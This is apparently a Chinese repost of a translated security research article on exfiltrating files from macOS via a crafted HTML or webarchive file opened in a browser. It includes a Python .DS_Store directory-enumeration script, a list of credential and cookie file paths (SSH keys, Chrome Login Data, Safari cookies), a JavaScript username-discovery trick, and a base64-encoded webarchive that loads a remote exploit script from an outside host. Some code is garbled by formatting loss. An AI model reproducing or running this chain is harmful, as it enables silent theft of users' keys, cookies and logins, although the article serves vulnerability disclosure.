时间:2023-06-08 23:00:01 | 来源:网站运营
时间:2023-06-08 23:00:01 来源:网站运营
如何通过简单的网页文件从MacOS中盗取文件?:文档、源码、ssh密钥、密码等等所有的这些文件都可以传送过去。不可能吗?当然是可能的。一些常用的浏览器可能正在这样做。1. 用户在浏览器中打开html文件2. 浏览器读取用户有权限访问的文件列表。3. 浏览器读取重要文件,并且将他们上传到攻击者启动的远程服务器中,这一过程会在后台进行,并且不会通知用户。
现在我们将这一过程分成几个阶段:阶段一:在当前用户计算机上收集关于文件的信息。阶段二:读取文件,将文件上传到远程服务器上。
在阶段一中,攻击者需要得到文件列表。这一步骤不是那么容易解决的,通常来讲,开发者不会允许html页面读取文件夹内容,或者获取当前路径。猜测以及尝试所有可能的路径也不是一个好的选择。虽然一些文件的路径是通用的,比如~/.ssh/id_rsa,但是大部分文件在不同系统中存放的位置是不同的。##!/usr/bin/env pythonfrom ds_store import DSStoreimport jsonpath = ‘/Users/USERNAME/.DS_Store’def parse(file): filelist = [] for i in file: if i.filename!=’.’: filelist.append(i.filename) return list(set(filelist))d=DSStore.open(path, ‘r+’)fileresult=parse(d)print(json.dumps(fileresult))for name in fileresult: try: d = DSStore.open(path + name+ ‘/.DS_Store’, ‘r+’) fileresult = parse(d) all.append(fileresult) print(json.dumps(fileresult)) except: pass
将其命名为parse_ds_store.py,执行结果如下:$ python parse_ds_store.py[“Documents”, “Pictures”, “.idm”, “Desktop”, “Music”, “.oracle_jre_usage”, “Public”, “tmp”, “Parallels”, “MEGA”, “.BurpSuite”, “Downloads”, “.config”, “.cache”, “Applications”, “.bash_sessions”, “Creative Cloud Files”, “PycharmProjects”, “Applications (Parallels)”, “Dropbox”, “Nextcloud”, “.iterm2”, “.Trash”, “Scripts”, “Movies”, “MEGAsync Downloads”, “Soft”, “.local”, “.ssh”, “Library”, “.pgadmin”]
可以看到,我已经得到我当前目录的文件名,这就意味着,我们可以通过递归访问.DS_Store文件获取我电脑上所有具有权限的文件目录结构。[“Backups","Soft","Pictures",".ssh"...][
然后在Backups文件夹中,我们得到:[“2017”, “2016”, “2015”, …]
进而在访问~/Backups/2017/.DS_Store,得到[“source”, “sql”, “static”, …]
以此类推。~/.ssh/id_rsa;~/.ssh/id_rsa.key;~/.ssh/id_rsa.pub;~/.ssh/known_hosts;~/.ssh/authorized_keys;
还有.bash_history,它可以让攻击者知道用户之前执行的命令。~/Library/Cookies/Cookies.binarycookies~/Library/Cookies/com.apple.Safari.cookies
twitter,Skype以及其他应用程序的cookie都可以在这一文件夹中找到。~/Library/Cookies/HSTS.plist
另外一个有用的文件是关于系统账户信息的文件:~/Library/Accounts/Accounts4.sqlite
我们还可以在列表中查找其他有用的东西,可能会有意外的收获。~/Library/Application Support/
举个例子,我们还可以进而找到chrome存储的登录数据以及cookie:~/Library/Application Support/Google/Chrome/Default/Login Data~/Library/Application Support/Google/Chrome/Default/Cookies~/Library/Application Support/Google/Chrome/Default/History
如果运气好的话,还可以找到ftp/sql客户端的登录信息,历史记录,以及日志信息。function getUser() { var xhr = new XMLHttpRequest(); try { xhr.open(‘GET’, ‘/var/log/system.log;/https:%2f%2fgoogle.com/’, false); xhr.send(); return xhr.responseText.match(//Users/w+//g)[0]; } catch (e) { xhr.open(‘GET’, ‘/var/log/install.log;/https:%2f%2fgoogle.com/’, false); xhr.send(); return xhr.responseText.match(//Users/w+//g)[0]; }}
<?xml version=”1.0" encoding=”UTF-8"?><!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” “http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version=”1.0"><dict> <key>WebMainResource</key> <dict> <key>WebResourceData</key> <data> PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQgc3JjPSdodHRwczo vL2JvMG9tLnJ1L3NhZmFyaV9wb2MvcmVhZGZpbGUuanMnPjwvc2NyaXB0Pj wvYm9keT48L2h0bWw+ </data> <key>WebResourceFrameName</key> <string></string> <key>WebResourceMIMEType</key> <string>text/html</string> <key>WebResourceTextEncodingName</key> <string>UTF-8</string> <key>WebResourceURL</key> <string>file:///</string> </dict></dict></plist>
数据为Base64页面,每行包含59个符号本文翻译自:https://lab.wallarm.com/hunting-the-files-34caa0c1496,如若转载,请注明来源于嘶吼: 如何通过简单的网页文件从MacOS中盗取文件? 更多内容请关注“嘶吼专业版”——Pro4hou
关键词:文件,通过,简单